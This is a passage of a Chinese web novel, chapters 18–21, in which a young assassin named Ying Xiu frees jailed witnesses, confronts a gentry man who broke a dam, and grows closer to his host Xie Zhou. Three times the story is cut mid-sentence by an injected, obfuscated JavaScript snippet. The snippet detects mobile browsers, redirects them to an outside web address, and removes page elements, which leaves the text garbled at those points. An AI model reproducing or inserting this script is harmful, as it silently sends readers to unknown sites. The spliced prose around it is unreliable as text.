金色衣袂缓缓垂落,在昏黄烛影下泛着淡淡的流光,少年刺客蹲下身,语气轻柔,低声问他:“那两个用血写证词的百姓,可还活着?” 什么……循吏眼珠转动,迅速反应过来,嘴唇翕动,无声地说:“……活着!都活着!” 少年对此并没有反应,金色袍裾在视野里消失了,脚步声骤然响起,他似乎正在往外走去。 循吏心中骤然一喜,逃吧逃吧,快些逃吧,糟糕的是少年走了没两步又很快折返,这回手中拿着的正是他带来的烙铁。 冰冷的烙铁轻轻拍着循吏的面颊,赢秀语气平和:“你知道吗?你后颈有个穴位,叫做大椎,倘若被人点了穴,一直不解,便会头昏脑涨,血瘀气滞,不出一月便死。” 循吏身体僵硬,感受着那只手嫌弃地用烙铁翻开他的后颈,轻轻一砸,力道不大,却叫他后颈蹿起尖锐的疼痛。 “现在可以告诉我了吗?”少年清朗的声音在他听来如同鬼魅,“那两个写证词,说是王誉毁堤的白丁在哪里?” …… 赢秀从循吏身上取下钥匙,走到那座逼仄的窄牢,亲眼看见刑架上的人的惨状,脸上的表情骤然僵住了,低声对他们说:“我会救你们出去,前提是,这些证词口供不能作伪。” 那两个血淋淋的百姓已经认出赢秀,认出他就是举荐他们务工,要替他们修葺渡口的少年儒生。 措不及防见他一身金裳,独自一人出现在阴森诡谲的刑狱中,难免惊异,又听他说了这番话,承诺一定会救他们出去,眼里不由地冒出了泪光。 赢秀最后看了他们片刻,转身便走。 除了确认涧下坊百姓的安危,他还有一件事要做。 他方才观察过了,刑狱中的看守半个时辰换一次职,他现在还有不到半个时辰的时间,足够了。 …… 赢秀走后,原本静悄悄的刑狱骤然响起一阵阵急促的脚步声,典狱几乎是在嘶喊: “江州牧大人有令!要把刚刚抓进来那个儒生放出去!要快!不能动他一根寒毛!” 狱卒提着灯油,急步小跑着,忙着给昏黄的烛火添油。 幢幢火光中,一道道人影迅速穿过窄牢之间的长廊,都尉和延尉脸色难看,快步走来。 “人找到没有?!” “要是找不到,你们都得死!” 18. 第 18 章 都尉和延尉一壁疾步往前走,一壁回忆着方才的事。 就在方才,称病闭门不出的江州牧忽然亲自来到官署,劈头盖脸把他们骂了一顿,三申五令让他们把那个叫做赢秀的儒生给放了。 还说什么倘若伤了赢秀,即便是他也没有好果子吃。 江州牧是何人,内持机柄,外镇名洲,整座江州府地位最高的人,就连他也这么说,可见那赢秀的来头实在是不小。 都尉和延尉心中后悔不已,只盼着那赢秀才刚刚进来,应当没出什么事。 赢秀正在沿着漆黑的走道往回走,那循吏说了,延尉狱昔年的卷宗全部放在值房里,时间紧迫,他在值房翻找了一番,找到了有关微生氏的卷宗。 微生氏,是邀请薛镐等人泛舟清谈的豪绅。 那夜河道决堤,若非有谢舟,只怕薛镐他们早就溺毙在宝瓶口了。 赢秀脚步无声地往前走,试图在换值之前回到窄牢,然而距离窄牢越近,四面八方传来的声响越大,数道急促的脚步声层叠起伏,似乎在寻找什么人。 ——莫非是有人发现他不在狱中? 赢秀警惕地停下脚步,侧身隐蔽在暗处,脚步声越来越近,狱卒径直提灯在前方开路,后面跟着都尉和延尉。 阵仗之大,令人咂舌,两旁的窄牢中有犯人扒着铁门,探头偷看。 来不及多想,赢秀迅速抄了一条近道,赶在都尉和延尉一行人到来之前,用轻功回到了原来的窄牢。 循吏和两个狱卒还躺在地上,三人被他点了穴,此刻还昏迷着。 抬手给他们解了穴,赢秀转而猫在窄牢,手卷着袍裾,低着头,一副恹厌的模样。 循吏和狱卒悠悠转醒,一睁眼便看见了方才把他们打飞出去的少年蹲在窄牢的地上,看上去好不无辜,一时间让他们有些怀疑自己方才是在做梦。 循吏活动了一下身子,后颈似乎还在隐隐作痛,他满眼忌惮地睨着赢秀,小心翼翼地走出窄牢,手疾眼快地落了锁,张口便要喊人。 脚步声由远及近,在逼仄狭窄的过道里回响,循吏正要走上前去,迎面被都尉怒喝一声:“还不快放人!” 放人,放谁?赢秀么? 循吏连忙把方才落上的锁又打开,昏黄烛光下,少年瘦弱的身子显得格外落寞。 都尉连忙安抚他:“小公子,你没事吧?可有受伤?”他狠狠瞪了一旁的循吏一眼,直看得循吏哑然无语。 循吏:……方才他一拳打两个,你是一眼也没看见啊。 赢秀抬起头,露出清澈的眸瞳,“大人这是要放了我?” 都尉连忙道:“你快些出去吧,免得家里人等得着急。” 他左思右想,远在徐州的琅琊王氏还不至于让江州牧如此忌惮,再加上赢秀这张脸一看便是出自中原士族勋贵之家,说不定背后有一整个隐世家族,亦或者手里有江州牧的把柄。 都尉和延尉以及循吏,都盼着赢秀赶快走,走得越远越好。 赢秀却道:“可是那些百姓怎么办?留在大牢里吗?” 百姓百姓,那些百姓到底关他什么事? 一群人用新奇的目光上下打量赢秀,似乎从来没见过像他这样的人,延尉道:“他们是疑犯,事关运河决堤之事,不能轻易放走。” 顾及赢秀的来历,延尉又道:“这样,本官给他们个恩典,允许他们转到外面的牢房,等到此案查清便会放他们出来。” 里头的黑牢和外头的牢房可大不相同,住在牢房里的还能看见天光,在太阳底下行走。 直到走出延尉狱的辕门,赢秀还有些想不明白,为何那些官员会眼巴巴地把他放出来,还特意提起他的家里人。 他在江州哪有什么家里人,除了王家人,便只认识谢舟了。 辕门外停着一辆低调的暗色马车,坐在车轼上的车夫下了马车,朝赢秀走来,低声唤他: “赢公子,我家郎君问你何时归来用晚膳?” ——这是谢舟派来接他的马车。 这个念头骤然浮现,仿佛有什么东西轻轻地敲了一下赢秀的心脏,力道很轻,几乎可以忽略不计,却叫他愣了好一阵。 电光火石之间,他骤然明白为何那些官吏如此着急要放他出去,想来应当是谢舟从中斡旋,要救他出廷尉狱。 赢秀攥着藏在袍裾的简牍,对车夫道:“我还有事,可能会晚些时候回去,不会太晚。” 车夫没有多问,也没有出言挽留赢秀,只是轻轻颔首,道了句:“公子一路小心。” 门客派来的车夫如同他一般,温润,平静,如同静水,从来不会过问和干涉他要做的事。 赢秀松了口气,撑着伞,正要转身走进幽深的长街。 “公子且慢,”车夫骤然叫住他,从马车内取出一物,递给赢秀,“这是郎君吩咐给公子送来的。” 此物光滑粲然,锋利冰冷,是他的剑。 赢秀顿了顿,伸手接过问心剑。 …… 戍正时分,细雨渐渐停歇。 雨后的地面湿漉漉的,青石路上泛着一地波光粼粼的月光。 一辆马车正在街上疾行,中年男子坐在车内,身旁堆着一摞厚礼,这些都是他准备送给江州牧的。 他与江州牧是同宗亲戚,素日多得江州牧提携,宝瓶口附近五十里的地域又是他所管辖,倘若不能顺利将污水泼到琅琊王氏身上,上头真的问罪下来,只怕他也会重蹈相里氏的覆辙。 “吁——” 马夫一声厉喝,勒停缰绳,马匹不安地来回踢踏着蹄子。 身下的马车骤然停了,微生悯猛的往前倾倒,脑袋几乎要磕到隔板,他按住额头,冷声问道:“怎么停了?!” “前面有……有……”马夫和几个随行的僮仆结结巴巴的,声音里满是恐惧,“郎君!前面有人!” “有人?”微生悯蹙眉,不明白这么要紧的关头他们怎么出了岔子,“快点把那人打发走!” 马车久久未动,外面的车夫和僮仆丫鬟都不说话了,似乎是被吓得不敢动弹。 “我只找你们家主一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845730|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你们快走吧。” 寂静的黑夜中,少年的声音清列明亮,却叫坐在马车里的豪绅下意识地颤栗。 他从未听过这人的声音,到底是谁?难不成来找他寻仇的仇家? 豪绅在回忆翻了又翻,仇家太多了,一时半会他也猜不出可能是谁,他来不及细想,忙不迭地喊道:“你们都别走!留下来!我重重有赏!每人赏赐四十铢!” 四十铢钱,这些僮仆要足足做小半个月才能赚回来。 他们一定会留下来的,豪绅无比笃定。 话音甫落,四面寂静了一刹那,没人理会他,脚步声骤然四起,显然那些随行的僮仆都走了。 豪绅不敢下马车,只能颤巍巍地掀起帷栊,朝外看去 四面漆黑中,来人高挑峻拔,头戴黑色斗笠,身穿一身窄袖黑衣,面带银色覆面,手中横着一柄长剑。 长剑缓缓出鞘,月白似的粲然冷光,几乎叫人肝胆俱裂。 豪绅骤然放下帷栊,缩在车厢里不敢动弹,颤声道:“阁下究竟是何人?为何而来?你要什么,我都能给你!” 下一瞬,车幰骤然被长剑刺穿—— 月光似的剑光就停在豪绅的双目之间。 马车内,体态富贵的豪绅颤抖着,退无可退,瞳孔睁大,眼睁睁地看见那道剑光停在眼前,再进一寸,便能刺进他的眉心。 刺客隔着车幰问他:“整整十五个人,你邀他们上舟,究竟意欲何为?” 剑光当前,豪绅不敢撒谎,也没了撒谎作伪的心思,下意识合盘托出:“他们说了不该说的,江州的豪族大户都想杀他们灭口。” “除了你,还有谁?”刺客步步逼问。 “都说了,整个江州的豪族缙绅都想——”面对凛然的剑光,豪绅不敢说话了。 “宝瓶口的堤坝,到底是谁毁的?”刺客又问道。 这些问题一个比一个尖锐,豪绅举着双手,紧紧咬着牙关,闭上眼睛,不去看那道可怖的剑光。 这个问题,答了必死无疑,不答也许还有一线生机。 宝瓶口的堤坝虽然是他命家丁僮仆趁夜毁的,但是却是大伙的主意,江州大半的缙绅豪强都有意如此。 若非琅琊王氏咄咄逼人,私底下调查他们的把柄,他们也不至于兵行险招! “我知道是你做的。和我说说,你是怎么做的?” 刺客语气很轻,却叫微生悯的心骤然跌入谷底,剑尖更近了,直直地抵着他的眉心,随时会穿过血肉。 “……我说,我什么都说!”豪绅几乎痛哭涕流,磕磕绊绊地说出了来龙去脉。 把所有事说完后,剑尖依旧抵着他的眉心,豪绅恐惧到失声,半响,终于听见刺客的声音:“今夜我不杀你。” “——南朝的律令,自然会杀你。” 刺客的声音清澈,平静,似乎还蕴含着浅浅的杀意。 话毕,剑光陡然往回收,徒留破洞的车幰在半空中晃动。 豪绅瘫坐在车厢里,身旁的厚礼滚落下来,骨碌碌压了他满身。 19. 第 19 章 亥时三刻,漏尽更阑,麓山客舍外柳昏花暝,乌檐下灯影溟濛。 赢秀匆匆换回金裳,偷偷摸摸地走近客舍小门,之前他用轻功看过了,此处应当无人值守。 审问过豪绅后,他又去见了一个人,顺带把斗笠和覆面藏了起来,这一耽搁,回来得便晚了,想来门客已经睡下了。 更深露重,还是不要惊动他们为好。 还不等赢秀用轻功翻墙,耳边骤然“嘎吱”一声细响,眼前虚掩在草木中的门扉开了。 年轻的僮仆提着灯,像是等候良久的样子,“公子回来了,郎君还在等你。” 这么晚了,谢舟还在等他。 一股没来由的心虚浮上心头,赢秀小幅度地理了理凌乱的袍裾,方才时间实在来不及,他便没有换下黑衣,只是匆匆套上金裳,要见谢舟,还是得先把衣裳换了。 匆匆回到属于自己的静室,借着烛光,赢秀手忙脚乱地蹬下靴子,换下衣裳,手脚并用褪去一身金色袖衫,再解下刺客标配的黑衣。 解下来的衣裳被他尽数抛在床上,他挑挑拣拣,拿起换下的金色外裳嗅了嗅,似乎有一股淡淡的血腥,许是与循吏交手时沾上的。 这可不能被谢舟闻到,万一被他怀疑怎么办。 赢秀赤着足,穿着单薄的亵衣,跣足走在微凉的地上,弯着腰在柜笥里翻了又翻。 全是形形色色的金裳,漂亮华衣,浓墨重彩。 想到谢舟晚上不睡觉,还在等他,赢秀来不及挑选,随手扒拉了一件衣裳就往身上套。 这一穿不得了,走起路来叮呤当啷,少年叮呤当啷地走过去,拿起乱衣中的长剑,在烛光下盯着剑身看了好几眼。 比起今日那身衣裳,这身金裳更加奢华,襟镶美玉,襟钉明珠,在黑夜中璀璨夺目。 赢秀:……感觉自己就像一块闪闪发亮的漂亮金子。 他喜欢美丽的东西,不由地对剑欣赏了一会儿。 太耀眼了,刺客从来没有穿过这么耀眼华丽的衣裳。自从住在门客府上,门客给他准备的衣裳越来越漂亮。 再看一眼丢在床底下的黑衣,赢秀嫌弃地将它一脚踹进地底下。 要不是为了出门刺杀,他才不穿这种东西呢。 一走出静室,提灯守在游廊两侧的童子冷不丁地看见赢秀,瞳孔微微睁大,又迅速垂眸,一副不敢多看的样子。 赢秀叮呤当啷地穿过走廊,一路响起的声响一开始让他有点不适,总感觉随时会暴露,想了想自己现在的身份,他又慢慢放松下来。 这可是谢舟的地盘,谢舟的地盘,就等于他自己的地盘。 偌大空旷的静室之中,月光从四面八方的窗牖垂落。 踏进门的瞬间,赢秀的脸腾地红了,他怔愣地站在原地,没有回避。 月光下,一室清晖。 谢舟穿着一身单薄的亵衣,雪白一片,似乎隐隐可以窥见垒结的肌肉,骨骼匀亭高大,蕴含着蓬勃的力量,冰冷可怖。 直到谢舟轻轻垂眸看了他一眼,赢秀的心骤然跳动了一瞬,整个人如梦初醒,他叮呤当啷地走上前,结结巴巴地找话题:“我,我今天……” 明明在公堂之上有那么多话可以说,可是在谢舟面前,他好像一下被剥去镇定的外皮,只剩下慌乱和无措。 到底在慌乱什么,赢秀自己也不清楚。 “自请入延尉狱,”谢舟平静地打断了他:“赢秀,你便是这样查案的。” ……谢舟在担心他吗? 赢秀不确定。 他小心翼翼地观察对方的反应,一时不知该不该将自己的谋划和盘托出,望着白衣门客那张漂亮的脸想了半天,犹犹豫豫道:“我不会有事的,只是去延尉狱查点东西。” “你要延尉狱值房的卷宗,何必亲自去拿。”谢舟道。 江州延尉狱,机枢之地,守备森严,下有狱卒,上有天网。 若非有人带他进去,只怕他也无法顺利进入。 至于取到卷宗后如何出去,赢秀也早有办法,他趁着循吏不备,提前用鸱鸮向王守真传信。 王守真见了信,自然会来救他出去。只是,奇怪的是,一直到现在,他都没有收到王守真的回信。 不对,谢舟怎么会知道他去找卷宗了。 他一路小心翼翼,藏得极好,不可能被人发觉。 赢秀下意识将疑窦问出口,白衣门客淡声道:“在你走后,延尉狱乱了一阵子,值房的卷宗不见了。” 他不止知道刺客窃了卷宗,还打晕了循吏和两个狱卒,随后提剑拦下江州豪强的马车,最后又去找了王誉。 这一夜刺客当真是忙得很,事事躬亲,绝不动用他给的符节。 似是没想到谢舟竟然什么都知道,赢秀的脸更红了些,莫名有种浑身赤.裸,全部心思都暴露在对方眼皮子下的错觉。 他视线向下,不经意地扫过谢舟雪白的亵衣,耳尖无端地发烫,明明都是一样的,为什么…… 少年思苦冥想,思考得很专注,甚至忘了把视线移开。 谢舟:“……” 他缓缓走过来,长睫低覆,伸手抚摸上少年刺客毛茸茸的脑袋,少年的头发有点毛糙,发尾泛着淡淡的黄,看来应该好好养一养。 门客一面漫不经心地想着,冰冷的大掌一面缓慢用力,压着少年刺客纤细的脖颈一寸寸往下。 “——看够了吗?” 头顶响起门客温凉淡漠的声音。 赢秀:“!!!” 他骤然抬起头,脑袋向上砰的磕到了一处坚硬的地方,磕得他脑袋发疼,抬头一看,是门客的下颌。 ……人的下颌怎么可以这么硬?! 烛光下,刺客的眼睛都有点湿漉漉的,泛着浅浅的水光,眼神里带着深深的控诉。 被这么一打岔,谢舟差点忘记要好好调.教一下赢秀了。 “给你的东西,你要用,”白衣门客语气异常平静,却带着不容置喙的强硬:“知道吗?” 他向来不喜脱离掌控的事物,但是对赢秀,他自认还算有些耐心。 赢秀用手梳了梳被揉乱的头发,先是站直身子,忽而钻到谢舟眼下,眼睛亮亮的,好似发现了什么新奇的东西,又好似抓住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845731|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了谢舟的小尾巴。 “我知道啦!”赢秀满眼新奇,谢舟有意听听他知道了什么,冷不丁等来一句:“你是不是想让我用你送的礼物?你可以直说呀。” 赢秀顿了顿,声音小了一些,“你想让我用,我会用的。”他解释道:“我不用,只是怕给你带来麻烦。” 谢舟给他的那方玉璧,他还好好地藏在身上呢! 谢舟静默了一瞬间,忽而伸出手,轻轻地压下赢秀头上翘起的发丝,刚刚压下去,那缕发丝又顽强地翘了起来。 谢舟:“……”真该好好地养一养这头发了。 言归正传,赢秀严肃起来,问了谢舟一个严峻的问题:“王……王氏那位长公子可曾给你传讯?” 前段时间琅琊王氏和建章谢氏才答应联手,等运河竣工后分治四洲漕运,如今琅琊王氏在江州深陷泥潭,理应朝谢氏求援才是。 寄给王守真的鸱鸮毫无音讯,不免让赢秀有些担心。 其实……那一巴掌,早就不疼了。 “不曾。”门客道。 他看上去并不关心这件事,俊美清冷的脸上没什么表情,似乎对漕运货殖也不甚在意。 毕竟是相识四年的好友,赢秀多少有些放心不下。 少年在发愁,为了那个王氏子弟发愁,门客不动声色地观察赢秀的神情,漆黑幽深的眸瞳越加冰冷。 “你很着急。” 骤然被点破心事,赢秀也不觉得气恼,解释道:“他毕竟是我的好友,如今音讯全无,我实在放心不下。” “……那我是什么?”门客低声问他。 声音低沉平静,清冷暗哑,好似只是随口一问。 ……谢舟对他来说到底是什么? 赢秀从来没有想过这个问题,他只知道谢舟很好看,性情良善温润,他喜欢待在谢舟身边。 至于别的,他从未想过。 是机缘巧合结识的好友,还是其他什么…… 赢秀愣住了。 这个问题对刺客来说太难了,他活了十七年,十七年来接触的人只有爹爹,好友,上峰,还有即将死在他剑下的人。 显然谢舟不会是他的爹爹,这年龄也当不了爹爹,更不可能死在他的剑下,也许未来会是他的上峰……现在应当是他的好友吧。 好友……似乎又和王守真那种好友不太一样。 哪里不一样?是因为谢舟太好看了吗?每次看见他总是控制不住地脸红心跳。 刺客被难倒了,他磕磕绊绊地说:“我们是好友呀,难道你觉得不是吗?”他灵机一动,甚至还反问了谢舟,这下谢舟只能说是,或者不是了。 等了良久,久到赢秀听见琉璃灯里的烛火爆开两次灯花,他悄悄数着,想听听还有没有第三次。 第三次灯花也爆开了,哔剥一声响。 头顶终于传来门客低沉的声音,“嗯。” 刺客和门客,是一对好友。 赢秀没来由地有点失落,转念一想,好友是世上最好的关系了,他很快又高兴起来。 要和谢舟做一对长长久久的好友,好耶! 20. 第 20 章 一夜过去,江州风云暗涌,短短一夕之间,宝瓶口决堤一案传遍了整个江州,江州别驾着人毁堤,意欲诬陷豪绅,这桩传闻无人不知。 街头巷尾,随处可见百姓痛骂王誉,骂他怠慢职守,为了党争不顾国务。 坊市内,说书人唾沫横飞,明里暗里将王誉骂了个狗血淋头。 一锭银子被抛到铜钵中,滴溜溜地打转,清脆的响。 说书人惊讶地住了口,循声望去,却看见一个带着斗笠的金裳少年走出茶肆,没有回头。 赢秀压低了头上的斗笠,慢悠悠地穿过坊市。 昨日王誉想要推他当替罪羊之事,他还没忘记,现在也该让王誉好好享用一下这满城风雨。 可惜这风雨仅仅维持了不到一日。 当夜,王誉按照赢秀的叮嘱在渡口边抓到了准备乘船离乡的僮仆,这些僮仆都是微生氏的人,被派去毁堤。 微生悯被刺客拦下审问后,回到家中辗转反侧,打算连夜把毁堤的人全部送走,好巧不巧,撞上了等候已久的王誉。 人证有了,如此一来,微生氏毁堤之事证据确凿,再加上昔年的卷宗,足以证明微生氏恶贯久盈。 数罪并罚,如今被压入延尉狱的,从涧下坊的百姓换成了微生氏满门,朝廷明发上谕,择日问斩。 微生悯蓬头垢面跽坐在窄牢中,忽地想起那位带着银白覆面的刺客说,他不杀他,南朝律令自会杀他,今日便应了谶。 天光刺目,铡刀落下。 恍惚中,豪绅又想起黑衣刺客那双清亮明澈的眼睛,与公堂上那个儒生的眼神重叠。 他们是同一个人,原来如此,原来如此…… 鲜血溅了一地,红艳艳的素练在半空中飘扬。 围观者议论纷纷,都说那位远在建康的皇帝,杀人的诏书一向很快,这次为免也太快了些。 一纸皇命,江州再次血流成河。 微生氏毁堤主犯斩立决,其余涉案人等流放的消息传到赢秀耳中,他正坐在客舍的乌檐上,有一下没一下地逗弄着肩膀上毛茸茸的鸱鸮,鸱鸮黑乎乎,圆滚滚,像极了一只黑汤圆。 时隔三日,他终于收到了鉴心的回信。 鉴心在信里向他道歉,说不该打他那一巴掌,又说已经好好罚过王誉,请他快些回来,早日搬回王氏私邸,协从处理编户齐民之事。 眼下微生氏倒台,江州豪族人人自危,谁都不敢在这风口浪尖上妨碍朝廷国务。 即使江州豪强的把柄还未全部调查清楚,琅琊王氏奉朝廷之命编户齐民已然没了多少阻碍。 他是琅琊王氏的刺客,别说协从料理国务,就是叫他提剑刺杀,也断然没有拒绝的道理。 ……要回去吗? 少年在天光下捏着那张细长的纸条,卷了又舒,舒了又卷,直到把纸条弄得皱巴巴。 才搬来没两天呢,他不想这么快就搬走了,搬走就不能时时见到谢舟了。 不想离开谢舟,谢舟那么漂亮…… 一道微不可察的声音在赢秀心底响起,他终于停下动作,提笔在纸条反面写了一行字,随后绑在鸱鸮脚上。 他会回去帮忙,但是,他不会搬去王氏私邸,也不会搬回小秦淮的酒肆阁楼。 而且,鉴心得帮忙把他的房费给交了。不然他只能找个时间出去赚点外快了。 赢秀十分穷酸地想着。 所幸鉴心很快便让鸱鸮把银票送来了,还叮嘱他在门客府上要小心行事,处处谨慎,万万不可得罪人。 下面一行小字,若是真的开罪了贵人,速回广陵王氏祖宅避难。 收起纸条,将银票交给谢舟的时候,谢舟明显愣了一下,俊美清冷的脸上似乎多了一丝极浅的笑意,转瞬即逝。 他还以为……听闻琅琊王氏脱险的消息,赢秀会迫不及待地搬回王氏私邸。 毕竟,他甚至帮了意图算计他的王氏家臣,那个似乎叫做王誉的人。 “我不要银票,”白衣门客静坐着,任由少年双手捏着那几张银票,全然没有伸手接过的意思,“你是我的友人,想在这里住多久都可以。” ——想在这里住多久都可以。 赢秀耳畔止不住地回响着这句话,他感觉心脏没来由地发烫,发热……难道是上次的风寒还没好?寒气甚至深入肺腑了? 他晕乎乎地坐在门客对面,一把把银票拍在案几上,义正言辞地拒绝了谢舟:“你视我为好友,我更不能占你的便宜了,你就收下吧,不然我……” 不然我就不在这儿住了?不对不对,他才不要说这种违心的话。 不然他就……就…… 少年犹豫半天,也没说出个不然所以来,门客笑了一下,很轻的笑声,却叫赢秀有些脸红耳烫。 他说不出什么威胁谢舟收下银票的话,而且似乎本来也没什么能威胁谢舟的…… 人家好心收留了自己,自己却没有什么能够回报的,这个认知让赢秀不免有点沮丧。 他其实可以帮谢舟刺杀政敌,但是由于不能暴露自己的刺客身份,这条路也断了。 “赢秀,”谢舟轻声唤他,“我倒是有一件事,要请你帮忙。” 赢秀一脸认真:“若有吩咐,我必定赴汤蹈火。” 直到被领入客舍内一处楼台,四面八方整齐堆砌着卷牍,有卷帙浩繁,插架万轴。 好多书啊! 赢秀新奇地在楼台内乱转,在他身后,谢舟屹立在原地,静静地注视他的背影。 这座海匮阁前几日还不是书库,是他命人准备了许多古籍类书,将此处装点成如今的模样。 利用豪绅怕事的心理,预见对方会连夜在渡口送走毁堤的僮客,知会王誉守株待兔,抓到人证,一夜间一举翻盘。 赢秀虽然从未涉足官场,对人心却有着异常敏锐的直觉和判断。 这样的人,理应登天子殿,为天子所用,不是么? 谢舟神色平静,望着少年像只金色的鹤,叮呤当啷地在浩渺的插架之间转来转去,满是新奇。 悬镜司调查得事无巨细,赢秀寄宿在小酒肆时,曾经会悄悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845732|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷看儒生的书,现在看来,果真不假。 在海匮阁浩瀚的书海里绕了一圈,赢秀眼睛亮晶晶地走向谢舟,他隐约猜到了谢舟到底要让他做什么,满眼期待,忍着没有主动揭穿。 “我想请你为我整理书库,”谢舟道:“毕竟,你是我身边最熟悉的儒生。” 听到最熟悉这三个字,赢秀好像又听到了一道心跳,越响越烈,随时可能被眼前人察觉。 ——是谁的心跳得这么厉害? 赢秀左右张望了一下,猛的发觉原来是自己,是自己的心脏在跳。 他吓得想要捂着心脏,又不想被门客察觉,只能站直身子,一脸凛然道:“放心,我会替你好好打理的!” 他要把这书库里的书全都看一遍,先从有图案的看起。 等到门客走后,赢秀小声欢呼了一声,叮呤当啷地绕着书库挑选起来。 这本没有图案,不看。 这卷写得密密麻麻的,像是在念经,不看。 “砰”的一声,一卷简牍从插架上滑落,直直地砸到赢秀脑袋上,所幸他闪避及时,一伸手将那卷牍捞了过来。 书录上只有四个字,禁谈风月。 再往后翻,写的是一双少年的故事,讲的是南朝南风开放,这对少年得以相知相识相爱,携手百年。 上面还有很多图案,虽然有些粗糙,依稀能辨认出形状。 赢秀:“!!!” 这是什么?他们在一同练剑吗?这些剑招为免也太奇妙了些。 他是刺客,自恃剑术过人,看到这些招数才知原来天外有天,这些招数全是他闻所未闻的,即使看了拆解,也不知道该如何使出来。 秉持着学习的态度,赢秀认认真真地捧着简牍,把上面的旁白又看了一遍,书上面说,这对男子成为了一对眷侣,恩爱百年。 眷侣,一个崭新的词汇进入了少年刺客贫瘠的大脑,他把这本禁谈风月来回看了看,试图理解眷侣的含义。 眷侣,就是可以一同用膳,同檐而住,共同闲谈,闲来拆招的人。 他如今和谢舟也是一同用膳,一同住在麓山客舍里,还时不时说说话,至于拆招……似乎还没有过,不过他倒是带着谢舟练习过轻功。 那,这算不算书上说的眷侣? …… 用轻功小心地将这本禁谈风月放回原位,赢秀满怀心思地走出海匮阁。 迎面飞来一只黑团子,鸱鸮扑棱着翅膀落在他肩膀上,展开纸条,是鉴心在唤他快些来王氏私邸。 来不及多想,赢秀离开客舍,径直来到琅琊王氏在江州的私邸。 这次的书房不比上一回的整齐多少,依旧堆满了名册,这些都是那些佃仆奴隶的名字。 官署从豪族的坞堡壁垒救出了这些世代为奴的僮仆,这些人大部分都是南迁来的流民,流落在江左,被豪族掳掠为奴,自此代代为奴为婢。 这些人的数目足有上万之众,该要如何安顿,这又是一个问题。 见到赢秀走进来,众人的目光皆是一变。 21. 第 21 章 不同于之前一身黑衣,赢秀如今穿着金裳,袖筒绣金,阔带窄腰,一挑金绫束起高马尾,好一个金陵风流少年。 那张脸上带着银白覆面,遮住五官,只露出秀气明澈的眼,明眸皓齿,灵动殊异。 几日不见,向来隐藏在幕后的刺客,竟然换了这么一身招摇的服饰。 漂亮,明亮,让人见了便移不开眼。 不像是十步杀一人的刺客,倒像是王公贵族豢养的漂亮伶客。 王守真也有片刻的愣神,他本以为赢秀寄住在门客府上,应当处处小心谨慎,谁知竟然被养成了这幅模样。 众人神色微妙,不发一言,迟钝如赢秀也察觉到了不对劲,“你们这般看我作甚?” “无碍,”王守真主动打破僵局,命人呈上沏好的绿阳春,放在赢秀面前,缓缓道:“编户齐民之事进展得颇为顺利,但是这些僮客佃奴刚得了籍贯,不知何处落脚。” 这些朝廷国务本来不应该让刺客参与商量,但赢秀不是一般的刺客,他前不久才帮忙解了决堤之祸,反击了江州豪绅,让他一同论政,是长公子抬举。 在座的王氏门客无不出身显贵,皆是各府高姓,从未想过有朝一日会和一个刺客同案而坐,一同论国,彼此相觑,倒也无人置喙。 至于要如何安置这些被豪族掳掠多年的流民,王氏门客倒是各有想法。 “不妨让他们直接参加官署徭役,等到几年后再给一笔银子,放还他们归家。” “以某之见,倒是可以择其优者进入我们琅琊王氏,其余人任由江州官署安排去向。” “这些流民是侨姓,若是想要在江州务业,只怕也难得很。” 众说纷纭,王守真示意众人安静,随后看向一直沉默的赢秀,当着众人的目光,赢秀缓缓开口: “商农工贾各有所专,不妨让他们根据自己的所长择业,由官署协助,联合商贾帮助这些人务业。等到他们稳定后,再从中选取青壮服从徭役,征收税赋。” 此举是麻烦了些,却是对这些僮客佃户最好的安排。 王守真对这个回答并不意外,赢秀总是站在那群百姓的角度想策略,他还未说些什么,一个门客骤然插话: “此举未免麻烦,而且于我们琅琊王氏并无裨益,何不直接让他们参加徭役,过几年再发个文书,就当酬劳。” “那我们与江州这些虏民为奴的豪强何异?”赢秀声音清亮,一针见血,“虽然有了籍贯,照样是逼他们日夜劳作,不得歇息,等到他们年老体衰,无力劳作,又以何为生?” 那门客确实是这般打算,但被人直截了当地点出来,他难免有些不忿,当即看向长公子,试图让长公子为他做主。 长公子没有帮他说话的意思,道:“扶危言之有理,同为中原人,流落异乡,理应互相扶持,岂能彼此为难。” 他一锤定音:“就按扶危说的办。” 随着官署逐户搜查,建元年间被江州豪强掳掠的中原流民,终于走出豪强的坞堡。 街衢巷陌中多了一些陌生的中原面孔,无论男女老少,眼中都带着青涩和新奇。 从中原南渡长江多年,他们终于在江左落地生根,屹立在属于自己的天地里。 听着这些地道的中原话,赢秀颇感新奇,他知道中原很大,有很多个州府,但是不知道每个州府都有独特的方言,每个人说的话都不太一样。 